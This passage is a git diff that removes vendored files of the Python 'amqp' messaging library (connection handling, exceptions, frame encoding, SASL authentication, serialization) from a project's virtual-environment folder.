- if m.mechanism).decode(), - b", ".join(self.mechanisms).decode())) - - self.send_method( - spec.Connection.StartOk, argsig, - (client_properties, authentication.mechanism, - login_response, self.locale), - ) - - def _on_secure(self, challenge): - pass - - def _on_tune(self, channel_max, frame_max, server_heartbeat, argsig='BlB'): - client_heartbeat = self.client_heartbeat or 0 - self.channel_max = channel_max or self.channel_max - self.frame_max = frame_max or self.frame_max - self.server_heartbeat = server_heartbeat or 0 - - # negotiate the heartbeat interval to the smaller of the - # specified values - if self.server_heartbeat == 0 or client_heartbeat == 0: - self.heartbeat = max(self.server_heartbeat, client_heartbeat) - else: - self.heartbeat = min(self.server_heartbeat, client_heartbeat) - - # Ignore server heartbeat if client_heartbeat is disabled - if not self.client_heartbeat: - self.heartbeat = 0 - - self.send_method( - spec.Connection.TuneOk, argsig, - (self.channel_max, self.frame_max, self.heartbeat), - callback=self._on_tune_sent, - ) - - def _on_tune_sent(self, argsig='ssb'): - self.send_method( - spec.Connection.Open, argsig, (self.virtual_host, '', False), - ) - - def _on_open_ok(self): - self._handshake_complete = True - self.on_open(self) - - def Transport(self, host, connect_timeout, - ssl=False, read_timeout=None, write_timeout=None, - socket_settings=None, **kwargs): - return Transport( - host, connect_timeout=connect_timeout, ssl=ssl, - read_timeout=read_timeout, write_timeout=write_timeout, - socket_settings=socket_settings, **kwargs) - - @property - def connected(self): - return self._transport and self._transport.connected - - def collect(self): - if self._transport: - self._transport.close() - - if self.channels: - # Copy all the channels except self since the channels - # dictionary changes during the collection process. - channels = [ - ch for ch in self.channels.values() - if ch is not self - ] - - for ch in channels: - ch.collect() - self._transport = self.connection = self.channels = None - - def _get_free_channel_id(self): - # Cast to a set for fast lookups, and keep stored as an array for lower memory usage. - used_channel_ids = set(self._used_channel_ids) - - for channel_id in range(1, self.channel_max + 1): - if channel_id not in used_channel_ids: - self._used_channel_ids.append(channel_id) - return channel_id - - raise ResourceError( - 'No free channel ids, current={}, channel_max={}'.format( - len(self.channels), self.channel_max), spec.Channel.Open) - - def _claim_channel_id(self, channel_id): - if channel_id in self._used_channel_ids: - raise ConnectionError(f'Channel {channel_id!r} already open') - else: - self._used_channel_ids.append(channel_id) - return channel_id - - def channel(self, channel_id=None, callback=None): - """Create new channel. - - Fetch a Channel object identified by the numeric channel_id, or - create that object if it doesn't already exist. - """ - if self.channels is None: - raise RecoverableConnectionError('Connection already closed.') - - try: - return self.channels[channel_id] - except KeyError: - channel = self.Channel(self, channel_id, on_open=callback) - channel.open() - return channel - - def is_alive(self): - raise NotImplementedError('Use AMQP heartbeats') - - def drain_events(self, timeout=None): - # read until message is ready - while not self.blocking_read(timeout): - pass - - def blocking_read(self, timeout=None): - with self.transport.having_timeout(timeout): - frame = self.transport.read_frame() - return self.on_inbound_frame(frame) - - def on_inbound_method(self, channel_id, method_sig, payload, content): - if self.channels is None: - raise RecoverableConnectionError('Connection already closed') - - return self.channels[channel_id].dispatch_method( - method_sig, payload, content, - ) - - def close(self, reply_code=0, reply_text='', method_sig=(0, 0), - argsig='BsBB'): - """Request a connection close. - - This method indicates that the sender wants to close the - connection. This may be due to internal conditions (e.g. a - forced shut-down) or due to an error handling a specific - method, i.e. an exception. When a close is due to an - exception, the sender provides the class and method id of the - method which caused the exception. - - RULE: - - After sending this method any received method except the - Close-OK method MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with the Close-OK method. - - RULE: - - When a server receives the Close method from a client it - MUST delete all server-side resources associated with the - client's context. A client CANNOT reconnect to a context - after sending or receiving a Close method. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - if self._transport is None: - # already closed - return - - try: - self.is_closing = True - return self.send_method( - spec.Connection.Close, argsig, - (reply_code, reply_text, method_sig[0], method_sig[1]), - wait=spec.Connection.CloseOk, - ) - except (OSError, SSLError): - # close connection - self.collect() - raise - finally: - self.is_closing = False - - def _on_close(self, reply_code, reply_text, class_id, method_id): - """Request a connection close. - - This method indicates that the sender wants to close the - connection. This may be due to internal conditions (e.g. a - forced shut-down) or due to an error handling a specific - method, i.e. an exception. When a close is due to an - exception, the sender provides the class and method id of the - method which caused the exception. - - RULE: - - After sending this method any received method except the - Close-OK method MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with the Close-OK method. - - RULE: - - When a server receives the Close method from a client it - MUST delete all server-side resources associated with the - client's context. A client CANNOT reconnect to a context - after sending or receiving a Close method. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - self._x_close_ok() - raise error_for_code(reply_code, reply_text, - (class_id, method_id), ConnectionError) - - def _x_close_ok(self): - """Confirm a connection close. - - This method confirms a Connection.Close method and tells the - recipient that it is safe to release resources for the - connection and close the socket. - - RULE: - A peer that detects a socket closure without having - received a Close-Ok handshake method SHOULD log the error. - """ - self.send_method(spec.Connection.CloseOk, callback=self._on_close_ok) - - def _on_close_ok(self): - """Confirm a connection close. - - This method confirms a Connection.Close method and tells the - recipient that it is safe to release resources for the - connection and close the socket. - - RULE: - - A peer that detects a socket closure without having - received a Close-Ok handshake method SHOULD log the error. - """ - self.collect() - - def _on_blocked(self): - """Callback called when connection blocked. - - Notes: - This is an RabbitMQ Extension. - """ - reason = 'connection blocked, see broker logs' - if self.on_blocked: - return self.on_blocked(reason) - - def _on_unblocked(self): - if self.on_unblocked: - return self.on_unblocked() - - def send_heartbeat(self): - self.frame_writer(8, 0, None, None, None) - - def heartbeat_tick(self, rate=2): - """Send heartbeat packets if necessary. - - Raises: - ~amqp.exceptions.ConnectionForvced: if none have been - received recently. - - Note: - This should be called frequently, on the order of - once per second. - - Keyword Arguments: - rate (int): Number of heartbeat frames to send during the heartbeat - timeout - """ - AMQP_HEARTBEAT_LOGGER.debug('heartbeat_tick : for connection %s', - self._connection_id) - if not self.heartbeat: - return - - # If rate is wrong, let's use 2 as default - if rate <= 0: - rate = 2 - - # treat actual data exchange in either direction as a heartbeat - sent_now = self.bytes_sent - recv_now = self.bytes_recv - if self.prev_sent is None or self.prev_sent != sent_now: - self.last_heartbeat_sent = monotonic() - if self.prev_recv is None or self.prev_recv != recv_now: - self.last_heartbeat_received = monotonic() - - now = monotonic() - AMQP_HEARTBEAT_LOGGER.debug( - 'heartbeat_tick : Prev sent/recv: %s/%s, ' - 'now - %s/%s, monotonic - %s, ' - 'last_heartbeat_sent - %s, heartbeat int. - %s ' - 'for connection %s', - self.prev_sent, self.prev_recv, - sent_now, recv_now, now, - self.last_heartbeat_sent, - self.heartbeat, - self._connection_id, - ) - - self.prev_sent, self.prev_recv = sent_now, recv_now - - # send a heartbeat if it's time to do so - if now > self.last_heartbeat_sent + self.heartbeat / rate: - AMQP_HEARTBEAT_LOGGER.debug( - 'heartbeat_tick: sending heartbeat for connection %s', - self._connection_id) - self.send_heartbeat() - self.last_heartbeat_sent = monotonic() - - # if we've missed two intervals' heartbeats, fail; this gives the - # server enough time to send heartbeats a little late - two_heartbeats = 2 * self.heartbeat - two_heartbeats_interval = self.last_heartbeat_received + two_heartbeats - heartbeats_missed = two_heartbeats_interval < monotonic() - if self.last_heartbeat_received and heartbeats_missed: - raise ConnectionForced('Too many heartbeats missed') - - @property - def sock(self): - return self.transport.sock - - @property - def server_capabilities(self): - return self.server_properties.get('capabilities') or {} diff --git a/backend/venv/Lib/site-packages/amqp/exceptions.py b/backend/venv/Lib/site-packages/amqp/exceptions.py deleted file mode 100644 index 0098dba9..00000000 --- a/backend/venv/Lib/site-packages/amqp/exceptions.py +++ /dev/null @@ -1,288 +0,0 @@ -"""Exceptions used by amqp.""" -# Copyright (C) 2007-2008 Barry Pederson - -from struct import pack, unpack - -__all__ = ( - 'AMQPError', - 'ConnectionError', 'ChannelError', - 'RecoverableConnectionError', 'IrrecoverableConnectionError', - 'RecoverableChannelError', 'IrrecoverableChannelError', - 'ConsumerCancelled', 'ContentTooLarge', 'NoConsumers', - 'ConnectionForced', 'InvalidPath', 'AccessRefused', 'NotFound', - 'ResourceLocked', 'PreconditionFailed', 'FrameError', 'FrameSyntaxError', - 'InvalidCommand', 'ChannelNotOpen', 'UnexpectedFrame', 'ResourceError', - 'NotAllowed', 'AMQPNotImplementedError', 'InternalError', - 'MessageNacked', - 'AMQPDeprecationWarning', -) - - -class AMQPDeprecationWarning(UserWarning): - """Warning for deprecated things.""" - - -class MessageNacked(Exception): - """Message was nacked by broker.""" - - -class AMQPError(Exception): - """Base class for all AMQP exceptions.""" - - code = 0 - - def __init__(self, reply_text=None, method_sig=None, - method_name=None, reply_code=None): - self.message = reply_text - self.reply_code = reply_code or self.code - self.reply_text = reply_text - self.method_sig = method_sig - self.method_name = method_name or '' - if method_sig and not self.method_name: - self.method_name = METHOD_NAME_MAP.get(method_sig, '') - Exception.__init__(self, reply_code, - reply_text, method_sig, self.method_name) - - def __str__(self): - if self.method: - return '{0.method}: ({0.reply_code}) {0.reply_text}'.format(self) - return self.reply_text or '<{}: unknown error>'.format( - type(self).__name__ - ) - - @property - def method(self): - return self.method_name or self.method_sig - - -class ConnectionError(AMQPError): - """AMQP Connection Error.""" - - -class ChannelError(AMQPError): - """AMQP Channel Error.""" - - -class RecoverableChannelError(ChannelError): - """Exception class for recoverable channel errors.""" - - -class IrrecoverableChannelError(ChannelError): - """Exception class for irrecoverable channel errors.""" - - -class RecoverableConnectionError(ConnectionError): - """Exception class for recoverable connection errors.""" - - -class IrrecoverableConnectionError(ConnectionError): - """Exception class for irrecoverable connection errors.""" - - -class Blocked(RecoverableConnectionError): - """AMQP Connection Blocked Predicate.""" - - -class ConsumerCancelled(RecoverableConnectionError): - """AMQP Consumer Cancelled Predicate.""" - - -class ContentTooLarge(RecoverableChannelError): - """AMQP Content Too Large Error.""" - - code = 311 - - -class NoConsumers(RecoverableChannelError): - """AMQP No Consumers Error.""" - - code = 313 - - -class ConnectionForced(RecoverableConnectionError): - """AMQP Connection Forced Error.""" - - code = 320 - - -class InvalidPath(IrrecoverableConnectionError): - """AMQP Invalid Path Error.""" - - code = 402 - - -class AccessRefused(IrrecoverableChannelError): - """AMQP Access Refused Error.""" - - code = 403 - - -class NotFound(IrrecoverableChannelError): - """AMQP Not Found Error.""" - - code = 404 - - -class ResourceLocked(RecoverableChannelError): - """AMQP Resource Locked Error.""" - - code = 405 - - -class PreconditionFailed(IrrecoverableChannelError): - """AMQP Precondition Failed Error.""" - - code = 406 - - -class FrameError(IrrecoverableConnectionError): - """AMQP Frame Error.""" - - code = 501 - - -class FrameSyntaxError(IrrecoverableConnectionError): - """AMQP Frame Syntax Error.""" - - code = 502 - - -class InvalidCommand(IrrecoverableConnectionError): - """AMQP Invalid Command Error.""" - - code = 503 - - -class ChannelNotOpen(IrrecoverableConnectionError): - """AMQP Channel Not Open Error.""" - - code = 504 - - -class UnexpectedFrame(IrrecoverableConnectionError): - """AMQP Unexpected Frame.""" - - code = 505 - - -class ResourceError(RecoverableConnectionError): - """AMQP Resource Error.""" - - code = 506 - - -class NotAllowed(IrrecoverableConnectionError): - """AMQP Not Allowed Error.""" - - code = 530 - - -class AMQPNotImplementedError(IrrecoverableConnectionError): - """AMQP Not Implemented Error.""" - - code = 540 - - -class InternalError(IrrecoverableConnectionError): - """AMQP Internal Error.""" - - code = 541 - - -ERROR_MAP = { - 311: ContentTooLarge, - 313: NoConsumers, - 320: ConnectionForced, - 402: InvalidPath, - 403: AccessRefused, - 404: NotFound, - 405: ResourceLocked, - 406: PreconditionFailed, - 501: FrameError, - 502: FrameSyntaxError, - 503: InvalidCommand, - 504: ChannelNotOpen, - 505: UnexpectedFrame, - 506: ResourceError, - 530: NotAllowed, - 540: AMQPNotImplementedError, - 541: InternalError, -} - - -def error_for_code(code, text, method, default): - try: - return ERROR_MAP[code](text, method, reply_code=code) - except KeyError: - return default(text, method, reply_code=code) - - -METHOD_NAME_MAP = { - (10, 10): 'Connection.start', - (10, 11): 'Connection.start_ok', - (10, 20): 'Connection.secure', - (10, 21): 'Connection.secure_ok', - (10, 30): 'Connection.tune', - (10, 31): 'Connection.tune_ok', - (10, 40): 'Connection.open', - (10, 41): 'Connection.open_ok', - (10, 50): 'Connection.close', - (10, 51): 'Connection.close_ok', - (20, 10): 'Channel.open', - (20, 11): 'Channel.open_ok', - (20, 20): 'Channel.flow', - (20, 21): 'Channel.flow_ok', - (20, 40): 'Channel.close', - (20, 41): 'Channel.close_ok', - (30, 10): 'Access.request', - (30, 11): 'Access.request_ok', - (40, 10): 'Exchange.declare', - (40, 11): 'Exchange.declare_ok', - (40, 20): 'Exchange.delete', - (40, 21): 'Exchange.delete_ok', - (40, 30): 'Exchange.bind', - (40, 31): 'Exchange.bind_ok', - (40, 40): 'Exchange.unbind', - (40, 41): 'Exchange.unbind_ok', - (50, 10): 'Queue.declare', - (50, 11): 'Queue.declare_ok', - (50, 20): 'Queue.bind', - (50, 21): 'Queue.bind_ok', - (50, 30): 'Queue.purge', - (50, 31): 'Queue.purge_ok', - (50, 40): 'Queue.delete', - (50, 41): 'Queue.delete_ok', - (50, 50): 'Queue.unbind', - (50, 51): 'Queue.unbind_ok', - (60, 10): 'Basic.qos', - (60, 11): 'Basic.qos_ok', - (60, 20): 'Basic.consume', - (60, 21): 'Basic.consume_ok', - (60, 30): 'Basic.cancel', - (60, 31): 'Basic.cancel_ok', - (60, 40): 'Basic.publish', - (60, 50): 'Basic.return', - (60, 60): 'Basic.deliver', - (60, 70): 'Basic.get', - (60, 71): 'Basic.get_ok', - (60, 72): 'Basic.get_empty', - (60, 80): 'Basic.ack', - (60, 90): 'Basic.reject', - (60, 100): 'Basic.recover_async', - (60, 110): 'Basic.recover', - (60, 111): 'Basic.recover_ok', - (60, 120): 'Basic.nack', - (90, 10): 'Tx.select', - (90, 11): 'Tx.select_ok', - (90, 20): 'Tx.commit', - (90, 21): 'Tx.commit_ok', - (90, 30): 'Tx.rollback', - (90, 31): 'Tx.rollback_ok', - (85, 10): 'Confirm.select', - (85, 11): 'Confirm.select_ok', -} - - -for _method_id, _method_name in list(METHOD_NAME_MAP.items()): - METHOD_NAME_MAP[unpack('>I', pack('>HH', *_method_id))[0]] = \ - _method_name diff --git a/backend/venv/Lib/site-packages/amqp/method_framing.py b/backend/venv/Lib/site-packages/amqp/method_framing.py deleted file mode 100644 index 6c49833f..00000000 --- a/backend/venv/Lib/site-packages/amqp/method_framing.py +++ /dev/null @@ -1,189 +0,0 @@ -"""Convert between frames and higher-level AMQP methods.""" -# Copyright (C) 2007-2008 Barry Pederson - -from collections import defaultdict -from struct import pack, pack_into, unpack_from - -from . import spec -from .basic_message import Message -from .exceptions import UnexpectedFrame -from .utils import str_to_bytes - -__all__ = ('frame_handler', 'frame_writer') - -#: Set of methods that require both a content frame and a body frame. -_CONTENT_METHODS = frozenset([ - spec.Basic.Return, - spec.Basic.Deliver, - spec.Basic.GetOk, -]) - - -#: Number of bytes reserved for protocol in a content frame. -#: We use this to calculate when a frame exceeeds the max frame size, -#: and if it does not the message will fit into the preallocated buffer. -FRAME_OVERHEAD = 40 - - -def frame_handler(connection, callback, - unpack_from=unpack_from, content_methods=_CONTENT_METHODS): - """Create closure that reads frames.""" - expected_types = defaultdict(lambda: 1) - partial_messages = {} - - def on_frame(frame): - frame_type, channel, buf = frame - connection.bytes_recv += 1 - if frame_type not in (expected_types[channel], 8): - raise UnexpectedFrame( - 'Received frame {} while expecting type: {}'.format( - frame_type, expected_types[channel]), - ) - elif frame_type == 1: - method_sig = unpack_from('>HH', buf, 0) - - if method_sig in content_methods: - # Save what we've got so far and wait for the content-header - partial_messages[channel] = Message( - frame_method=method_sig, frame_args=buf, - ) - expected_types[channel] = 2 - return False - - callback(channel, method_sig, buf, None) - - elif frame_type == 2: - msg = partial_messages[channel] - msg.inbound_header(buf) - - if not msg.ready: - # wait for the content-body - expected_types[channel] = 3 - return False - - # bodyless message, we're done - expected_types[channel] = 1 - partial_messages.pop(channel, None) - callback(channel, msg.frame_method, msg.frame_args, msg) - - elif frame_type == 3: - msg = partial_messages[channel] - msg.inbound_body(buf) - if not msg.ready: - # wait for the rest of the content-body - return False - expected_types[channel] = 1 - partial_messages.pop(channel, None) - callback(channel, msg.frame_method, msg.frame_args, msg) - elif frame_type == 8: - # bytes_recv already updated - return False - return True - - return on_frame - - -class Buffer: - def __init__(self, buf): - self.buf = buf - - @property - def buf(self): - return self._buf - - @buf.setter - def buf(self, buf): - self._buf = buf - # Using a memoryview allows slicing without copying underlying data. - # Slicing this is much faster than slicing the bytearray directly. - # More details: https://stackoverflow.com/a/34257357 - self.view = memoryview(buf) - - -def frame_writer(connection, transport, - pack=pack, pack_into=pack_into, range=range, len=len, - bytes=bytes, str_to_bytes=str_to_bytes, text_t=str): - """Create closure that writes frames.""" - write = transport.write - - buffer_store = Buffer(bytearray(connection.frame_max - 8)) - - def write_frame(type_, channel, method_sig, args, content): - chunk_size = connection.frame_max - 8 - offset = 0 - properties = None - args = str_to_bytes(args) - if content: - body = content.body - if isinstance(body, str): - encoding = content.properties.setdefault( - 'content_encoding', 'utf-8') - body = body.encode(encoding) - properties = content._serialize_properties() - bodylen = len(body) - properties_len = len(properties) or 0 - framelen = len(args) + properties_len + bodylen + FRAME_OVERHEAD - bigbody = framelen > chunk_size - else: - body, bodylen, bigbody = None, 0, 0 - - if bigbody: - # ## SLOW: string copy and write for every frame - frame = (b''.join([pack('>HH', *method_sig), args]) - if type_ == 1 else b'') # encode method frame - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - type_, channel, framelen, frame, 0xce)) - if body: - frame = b''.join([ - pack('>HHQ', method_sig[0], 0, len(body)), - properties, - ]) - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - 2, channel, framelen, frame, 0xce)) - - for i in range(0, bodylen, chunk_size): - frame = body[i:i + chunk_size] - framelen = len(frame) - write(pack('>BHI%dsB' % framelen, - 3, channel, framelen, - frame, 0xce)) - - else: - # frame_max can be updated via connection._on_tune. If - # it became larger, then we need to resize the buffer - # to prevent overflow. - if chunk_size > len(buffer_store.buf): - buffer_store.buf = bytearray(chunk_size) - buf = buffer_store.buf - - # ## FAST: pack into buffer and single write - frame = (b''.join([pack('>HH', *method_sig), args]) - if type_ == 1 else b'') - framelen = len(frame) - pack_into('>BHI%dsB' % framelen, buf, offset, - type_, channel, framelen, frame, 0xce) - offset += 8 + framelen - if body is not None: - frame = b''.join([ - pack('>HHQ', method_sig[0], 0, len(body)), - properties, - ]) - framelen = len(frame) - - pack_into('>BHI%dsB' % framelen, buf, offset, - 2, channel, framelen, frame, 0xce) - offset += 8 + framelen - - bodylen = len(body) - if bodylen > 0: - framelen = bodylen - pack_into('>BHI%dsB' % framelen, buf, offset, - 3, channel, framelen, body, 0xce) - offset += 8 + framelen - - write(buffer_store.view[:offset]) - - connection.bytes_sent += 1 - return write_frame diff --git a/backend/venv/Lib/site-packages/amqp/platform.py b/backend/venv/Lib/site-packages/amqp/platform.py deleted file mode 100644 index 6f6c6f3d..00000000 --- a/backend/venv/Lib/site-packages/amqp/platform.py +++ /dev/null @@ -1,79 +0,0 @@ -"""Platform compatibility.""" - -import platform -import re -import sys -# Jython does not have this attribute -import typing - -try: - from socket import SOL_TCP -except ImportError: # pragma: no cover - from socket import IPPROTO_TCP as SOL_TCP # noqa - - -RE_NUM = re.compile(r'(\d+).+') - - -def _linux_version_to_tuple(s: str) -> typing.Tuple[int, int, int]: - return tuple(map(_versionatom, s.split('.')[:3])) - - -def _versionatom(s: str) -> int: - if s.isdigit(): - return int(s) - match = RE_NUM.match(s) - return int(match.groups()[0]) if match else 0 - - -# available socket options for TCP level -KNOWN_TCP_OPTS = { - 'TCP_CORK', 'TCP_DEFER_ACCEPT', 'TCP_KEEPCNT', - 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', 'TCP_LINGER2', - 'TCP_MAXSEG', 'TCP_NODELAY', 'TCP_QUICKACK', - 'TCP_SYNCNT', 'TCP_USER_TIMEOUT', 'TCP_WINDOW_CLAMP', -} - -LINUX_VERSION = None -if sys.platform.startswith('linux'): - LINUX_VERSION = _linux_version_to_tuple(platform.release()) - if LINUX_VERSION < (2, 6, 37): - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - - # Windows Subsystem for Linux is an edge-case: the Python socket library - # returns most TCP_* enums, but they aren't actually supported - if platform.release().endswith("Microsoft"): - KNOWN_TCP_OPTS = {'TCP_NODELAY', 'TCP_KEEPIDLE', 'TCP_KEEPINTVL', - 'TCP_KEEPCNT'} - -elif sys.platform.startswith('darwin'): - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -elif 'bsd' in sys.platform: - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -# According to MSDN Windows platforms support getsockopt(TCP_MAXSSEG) but not -# setsockopt(TCP_MAXSEG) on IPPROTO_TCP sockets. -elif sys.platform.startswith('win'): - KNOWN_TCP_OPTS = {'TCP_NODELAY'} - -elif sys.platform.startswith('cygwin'): - KNOWN_TCP_OPTS = {'TCP_NODELAY'} - - # illumos does not allow to set the TCP_MAXSEG socket option, - # even if the Oracle documentation says otherwise. - # TCP_USER_TIMEOUT does not exist on Solaris 11.4 -elif sys.platform.startswith('sunos'): - KNOWN_TCP_OPTS.remove('TCP_MAXSEG') - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') - -# aix does not allow to set the TCP_MAXSEG -# or the TCP_USER_TIMEOUT socket options. -elif sys.platform.startswith('aix'): - KNOWN_TCP_OPTS.remove('TCP_MAXSEG') - KNOWN_TCP_OPTS.remove('TCP_USER_TIMEOUT') -__all__ = ( - 'LINUX_VERSION', - 'SOL_TCP', - 'KNOWN_TCP_OPTS', -) diff --git a/backend/venv/Lib/site-packages/amqp/protocol.py b/backend/venv/Lib/site-packages/amqp/protocol.py deleted file mode 100644 index b58d5c96..00000000 --- a/backend/venv/Lib/site-packages/amqp/protocol.py +++ /dev/null @@ -1,12 +0,0 @@ -"""Protocol data.""" - -from collections import namedtuple - -queue_declare_ok_t = namedtuple( - 'queue_declare_ok_t', ('queue', 'message_count', 'consumer_count'), -) - -basic_return_t = namedtuple( - 'basic_return_t', - ('reply_code', 'reply_text', 'exchange', 'routing_key', 'message'), -) diff --git a/backend/venv/Lib/site-packages/amqp/sasl.py b/backend/venv/Lib/site-packages/amqp/sasl.py deleted file mode 100644 index 407ccb8e..00000000 --- a/backend/venv/Lib/site-packages/amqp/sasl.py +++ /dev/null @@ -1,191 +0,0 @@ -"""SASL mechanisms for AMQP authentication.""" - -import socket -import warnings -from io import BytesIO - -from amqp.serialization import _write_table - - -class SASL: - """The base class for all amqp SASL authentication mechanisms. - - You should sub-class this if you're implementing your own authentication. - """ - - @property - def mechanism(self): - """Return a bytes containing the SASL mechanism name.""" - raise NotImplementedError - - def start(self, connection): - """Return the first response to a SASL challenge as a bytes object.""" - raise NotImplementedError - - -class PLAIN(SASL): - """PLAIN SASL authentication mechanism. - - See https://tools.ietf.org/html/rfc4616 for details - """ - - mechanism = b'PLAIN' - - def __init__(self, username, password): - self.username, self.password = username, password - - __slots__ = ( - "username", - "password", - ) - - def start(self, connection): - if self.username is None or self.password is None: - return NotImplemented - login_response = BytesIO() - login_response.write(b'\0') - login_response.write(self.username.encode('utf-8')) - login_response.write(b'\0') - login_response.write(self.password.encode('utf-8')) - return login_response.getvalue() - - -class AMQPLAIN(SASL): - """AMQPLAIN SASL authentication mechanism. - - This is a non-standard mechanism used by AMQP servers. - """ - - mechanism = b'AMQPLAIN' - - def __init__(self, username, password): - self.username, self.password = username, password - - __slots__ = ( - "username", - "password", - ) - - def start(self, connection): - if self.username is None or self.password is None: - return NotImplemented - login_response = BytesIO() - _write_table({b'LOGIN': self.username, b'PASSWORD': self.password}, - login_response.write, []) - # Skip the length at the beginning - return login_response.getvalue()[4:] - - -def _get_gssapi_mechanism(): - try: - import gssapi - import gssapi.raw.misc # Fail if the old python-gssapi is installed - except ImportError: - class FakeGSSAPI(SASL): - """A no-op SASL mechanism for when gssapi isn't available.""" - - mechanism = None - - def __init__(self, client_name=None, service=b'amqp', - rdns=False, fail_soft=False): - if not fail_soft: - raise NotImplementedError( - "You need to install the `gssapi` module for GSSAPI " - "SASL support") - - def start(self): # pragma: no cover - return NotImplemented - return FakeGSSAPI - else: - class GSSAPI(SASL): - """GSSAPI SASL authentication mechanism. - - See https://tools.ietf.org/html/rfc4752 for details - """ - - mechanism = b'GSSAPI' - - def __init__(self, client_name=None, service=b'amqp', - rdns=False, fail_soft=False): - if client_name and not isinstance(client_name, bytes): - client_name = client_name.encode('ascii') - self.client_name = client_name - self.fail_soft = fail_soft - self.service = service - self.rdns = rdns - - __slots__ = ( - "client_name", - "fail_soft", - "service", - "rdns" - ) - - def get_hostname(self, connection): - sock = connection.transport.sock - if self.rdns and sock.family in (socket.AF_INET, - socket.AF_INET6): - peer = sock.getpeername() - hostname, _, _ = socket.gethostbyaddr(peer[0]) - else: - hostname = connection.transport.host - if not isinstance(hostname, bytes): - hostname = hostname.encode('ascii') - return hostname - - def start(self, connection): - try: - if self.client_name: - creds = gssapi.Credentials( - name=gssapi.Name(self.client_name)) - else: - creds = None - hostname = self.get_hostname(connection) - name = gssapi.Name(b'@'.join([self.service, hostname]), - gssapi.NameType.hostbased_service) - context = gssapi.SecurityContext(name=name, creds=creds) - return context.step(None) - except gssapi.raw.misc.GSSError: - if self.fail_soft: - return NotImplemented - else: - raise - return GSSAPI - - -GSSAPI = _get_gssapi_mechanism() - - -class EXTERNAL(SASL): - """EXTERNAL SASL mechanism. - - Enables external authentication, i.e. not handled through this protocol. - Only passes 'EXTERNAL' as authentication mechanism, but no further - authentication data. - """ - - mechanism = b'EXTERNAL' - - def start(self, connection): - return b'' - - -class RAW(SASL): - """A generic custom SASL mechanism. - - This mechanism takes a mechanism name and response to send to the server, - so can be used for simple custom authentication schemes. - """ - - mechanism = None - - def __init__(self, mechanism, response): - assert isinstance(mechanism, bytes) - assert isinstance(response, bytes) - self.mechanism, self.response = mechanism, response - warnings.warn("Passing login_method and login_response to Connection " - "is deprecated. Please implement a SASL subclass " - "instead.", DeprecationWarning) - - def start(self, connection): - return self.response diff --git a/backend/venv/Lib/site-packages/amqp/serialization.py b/backend/venv/Lib/site-packages/amqp/serialization.py deleted file mode 100644 index 1f2f8e2d..00000000 --- a/backend/venv/Lib/site-packages/amqp/serialization.py +++ /dev/null @@ -1,582 +0,0 @@ -"""Convert between bytestreams and higher-level AMQP types. - -2007-11-05 Barry Pederson - -""" -# Copyright (C) 2007 Barry Pederson - -import calendar -from datetime import datetime -from decimal import Decimal -from io import BytesIO -from struct import pack, unpack_from - -from .exceptions import FrameSyntaxError -from .spec import Basic -from .utils import bytes_to_str as pstr_t -from .utils import str_to_bytes - -ILLEGAL_TABLE_TYPE = """\ - Table type {0!r} not handled by amqp. -""" - -ILLEGAL_TABLE_TYPE_WITH_KEY = """\ -Table type {0!r} for key {1!r} not handled by amqp. [value: {2!r}] -""" - -ILLEGAL_TABLE_TYPE_WITH_VALUE = """\ - Table type {0!r} not handled by amqp. [value: {1!r}] -""" - - -def _read_item(buf, offset): - ftype = chr(buf[offset]) - offset += 1 - - # 'S': long string - if ftype == 'S': - slen, = unpack_from('>I', buf, offset) - offset += 4 - try: - val = pstr_t(buf[offset:offset + slen]) - except UnicodeDecodeError: - val = buf[offset:offset + slen] - - offset += slen - # 's': short string - elif ftype == 's': - slen, = unpack_from('>B', buf, offset) - offset += 1 - val = pstr_t(buf[offset:offset + slen]) - offset += slen - # 'x': Bytes Array - elif ftype == 'x': - blen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + blen] - offset += blen - # 'b': short-short int - elif ftype == 'b': - val, = unpack_from('>B', buf, offset) - offset += 1 - # 'B': short-short unsigned int - elif ftype == 'B': - val, = unpack_from('>b', buf, offset) - offset += 1 - # 'U': short int - elif ftype == 'U': - val, = unpack_from('>h', buf, offset) - offset += 2 - # 'u': short unsigned int - elif ftype == 'u': - val, = unpack_from('>H', buf, offset) - offset += 2 - # 'I': long int - elif ftype == 'I': - val, = unpack_from('>i', buf, offset) - offset += 4 - # 'i': long unsigned int - elif ftype == 'i': - val, = unpack_from('>I', buf, offset) - offset += 4 - # 'L': long long int - elif ftype == 'L': - val, = unpack_from('>q', buf, offset) - offset += 8 - # 'l': long long unsigned int - elif ftype == 'l': - val, = unpack_from('>Q', buf, offset) - offset += 8 - # 'f': float - elif ftype == 'f': - val, = unpack_from('>f', buf, offset) - offset += 4 - # 'd': double - elif ftype == 'd': - val, = unpack_from('>d', buf, offset) - offset += 8 - # 'D': decimal - elif ftype == 'D': - d, = unpack_from('>B', buf, offset) - offset += 1 - n, = unpack_from('>i', buf, offset) - offset += 4 - val = Decimal(n) / Decimal(10 ** d) - # 'F': table - elif ftype == 'F': - tlen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + tlen - val = {} - while offset < limit: - keylen, = unpack_from('>B', buf, offset) - offset += 1 - key = pstr_t(buf[offset:offset + keylen]) - offset += keylen - val[key], offset = _read_item(buf, offset) - # 'A': array - elif ftype == 'A': - alen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + alen - val = [] - while offset < limit: - v, offset = 